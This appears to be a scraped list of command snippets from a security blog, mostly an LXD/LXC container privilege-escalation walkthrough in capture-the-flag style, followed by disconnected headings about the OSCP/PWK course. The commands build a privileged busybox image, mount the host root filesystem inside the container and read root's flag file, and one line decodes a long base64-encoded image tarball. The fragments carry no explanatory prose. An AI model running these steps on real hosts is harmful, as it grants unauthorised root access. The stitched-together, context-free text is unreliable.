1 |
lxc init ubuntu:16.04 test -c security.privileged=true |
2 |
lxc-create m0noc -t busybox |
3 |
lxc-ls -f |
4 |
cd /var/lib/lxc/m0noc/rootfs |
5 |
ls (3) |
6 |
cd .. (4) |
7 |
tar cfj ~/busyboxOrig.tar.bz2 rootfs |
8 |
cd ; mkdir container ; cd container |
9 |
tar xfj ../busyboxOrig.tar.bz2 |
10 |
echo architecture: x86_64 > metadata.yaml |
11 |
echo creation_date: 1424284563 >> metadata.yaml |
12 |
cat metadata.yaml |
13 |
tar cfj ../m0nocBusybox.tar.bz2 rootfs |
14 |
metadata.yaml |
15 |
ls -l m0nocBusybox.tar.bz2 |
16 |
cp m0nocBusybox.tar.bz2 /home/bob/ |
17 |
chown bob /home/bob/m0nocBusybox.tar.bz2 |
18 |
id -a |
19 |
cat /root/root.txt |
20 |
lxc image import m0nocBusybox.tar.bz2 --alias bobImage |
21 |
lxc init bobImage bobVM -c security.privileged=true (3) |
22 |
lxc config device add bobVM realRoot disk source=/ path=r (3) |
23 |
lxc start bobVM (3) |
24 |
lxc exec bobVM -- cat /r/root/root.txt |
25 |
lxc stop bobVM (2) |
26 |
lxc delete bobVM (2) |
27 |
lxc image delete bobImage (2) |
28 |
find . -ls | fgrep 788059 |
29 |
ls -l |
30 |
rm init |
31 |
ln -s ./../bin/busybox init |
32 |
cd ../.. |
33 |
tar cfj ../m0nocBusybox2.tar.bz2 rootfs metadata.yaml |
34 |
ls -l m0nocBusybox2.tar.bz2 |
35 |
cp m0nocBusybox2.tar.bz2 /home/bob/ |
36 |
chown bob /home/bob/m0nocBusybox2.tar.bz2 |
37 |
lxc image import m0nocBusybox2.tar.bz2 --alias bobImage |
38 |
lxc exec bobVM -- /bin/sh (2) |
39 |
cat /r/root/root.txt (2) |
40 |
/r/usr/bin/file /sbin/init |
41 |
ls -l /r/usr/bin/file |
42 |
file /usr/bin/file |
43 |
ls /lib64/ld-linux-x86-64.so.2 |
44 |
ls /r/lib64/ld-linux-x86-64.so.2 |
45 |
ls -l /r/lib64/ld-linux-x86-64.so.2 |
46 |
ls /r/lib/x86_64-linux-gnu/ld-2.27.so |
47 |
/r/lib/x86_64-linux-gnu/ld-2.27.so /r/usr/bin/file /sbin/init |
48 |
rm console null ram0 tty tty0 tty1 tty5 urandom zero |
49 |
rmdir home mnt selinux |
50 |
pwd |
51 |
rm -r usr bin lib lib64 |
52 |
for a in usr bin lib lib64; do ln -s ./r/$a; done |
53 |
tar cfj ../m0nocFinal.tar.bz2 rootfs metadata.yaml |
54 |
ls -l m0nocFinal.tar.bz2 |
55 |
base64 -w 0 m0nocFinal.tar.bz2 ; echo |
56 |
echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2 |
57 |
lxc image import bob.tar.bz2 --alias bobImage |
58 |
file /sbin/init |
59 |
file ./../bin/busybox |
60 |
exit |
61 |
ESP 0012FF8C |
62 |
EBP 0012FF94 |
63 |
PWK |
64 |
OSCP |
65 |
What is the PWK course |
66 |
Why did I do it? |
67 |
awesome |
68 |
What do you get? |
69 |
you |
70 |
no |
71 |
before |
72 |
The Exam |
73 |
When am I ready for the exam? |
74 |
What did I do? |
75 |
very carefully |
76 |
appears |
77 |
Hints and Tips |
78 |
Conclusion |
79 |
Next Steps |